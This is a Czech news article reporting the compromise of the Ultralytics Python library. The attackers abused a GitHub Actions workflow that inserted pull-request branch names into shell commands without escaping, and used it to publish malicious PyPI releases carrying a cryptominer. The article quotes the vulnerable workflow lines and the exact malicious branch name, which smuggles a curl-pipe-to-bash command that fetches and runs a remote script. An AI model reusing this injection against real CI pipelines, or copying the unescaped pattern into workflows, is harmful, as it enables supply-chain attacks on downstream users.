Chyba v obslužné rutině akcí GitHub vedla ke zveřejnění škodlivých vydání Ultralytics

Útočníci byli schopni spustit kód s právy obsluhy GitHub Actions v úložišti knihovny Ultralytics Python, které se používá k řešení problémů s počítačovým viděním, jako je detekce objektů v obrázcích a segmentace obrázků. Poté, co útočníci získali přístup k úložišti, zveřejnili několik nových verzí Ultralytics v adresáři PyPI, které zahrnovaly škodlivé změny pro těžbu kryptoměn. Za poslední měsíc byla knihovna Ultralytics stažena z katalogu PyPI více než 6.4 milionukrát.

Ke kompromitaci úložiště byla použita zranitelnost v balíčku ultralytics-actions, který se používá k automatickému spouštění obslužných rutin při provádění určitých akcí v úložišti na GitHubu pomocí mechanismu GitHub Actions. V projektu ultralytics byl zranitelný obslužný program vázán na událost pull_request_target a byl volán, když přišly nové požadavky na stažení. Konkrétně pro formátování kódu v odeslaných žádostech o stažení byl zavolán obslužný program format.yml a byl proveden kód uvedený v sekci „spustit“ souboru action.yml, který obsahoval příkazy shellu se vzory náhrad: git pull origin ${{ github.head_ref || github.ref }} git config --global user.name "${{ inputs.github_username }}" git config --global user.email "${{ inputs.github_email }}"

Název větve Git uvedený v požadavku na stažení byl tedy nahrazen příkazy shellu bez řádného escapování. Je pozoruhodné, že v srpnu již balíček ultralytics-actions opravil podobnou zranitelnost spojenou s použitím externí hodnoty ve funkci echo: echo “github.event.pull_request.head.ref: ${{ github.event.pull_request .head.ref }} »

Aby útočníci zorganizovali provádění svého kódu v kontextu obslužné rutiny akcí GitHub, odeslali požadavek na stažení do úložiště ultralytics, přičemž jako název větve uvedli následující: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash

V souladu s tím, když byl přijat požadavek na stažení, byl do kódu vložen útočníkem specifikovaný řetězec „$(…)“, což při následném spuštění handleru vedlo ke spuštění kódu „curl -sSfL raw.githubusercontent. com/…/file.sh | bash".

 Chyba v obslužné rutině akcí GitHub vedla ke zveřejnění škodlivých vydání Ultralytics

Spuštěný kód v kontextu akcí GitHub lze použít k zachycení tokenu přístupu k úložišti a dalších citlivých dat. Jak přesně se útočníkům podařilo vygenerovat vydání se schopností spustit svůj kód v akcích GitHub, zatím není jasné, předpokládá se, že to bylo možné díky změně v handleru publish.yml (útočníci odstranili ověření účet, který má povoleno publikovat vydání v PyPI) a použití technologie otravující mezipaměť sestavení akcí GitHub k vložení vašich dat do vydání.

První škodlivou verzi knihovny Ultralytics 8.3.41 útočníci zveřejnili na PyPI 4. prosince ve 23:51 (MSK) a následující den ji odstranili ve 12:15. V 15:47 byla zveřejněna další verze 8.3.42, která byla odstraněna v 16:47. Škodlivé verze tak byly ke stažení celkem přibližně 13 hodin (PyPI zaznamenává přibližně 250 000 stažení knihovny Ultralytics denně). Verze 8.3.41 a 8.3.42 obsahovaly kód, který se stahoval z externího serveru. server Komponenta XMRig pro těžbu kryptoměn.

Vývojáři projektu problém opravili a vytvořili opravná vydání 8.3.43 a 8.3.44, ale o dva dny později byl proveden další útok, během kterého útočníci dnes v 04:41 a 05:27 (MSK) zveřejnili dvě další škodlivé verze - 8.3.45 a 8.3.46, které zahrnují další těžební kód. Do konce vyšetřování se uživatelům doporučuje odložit instalaci nových verzí a opravit vydání 8.3.44 jako závislosti.

Zdroj: opennet.ru

Přidat komentář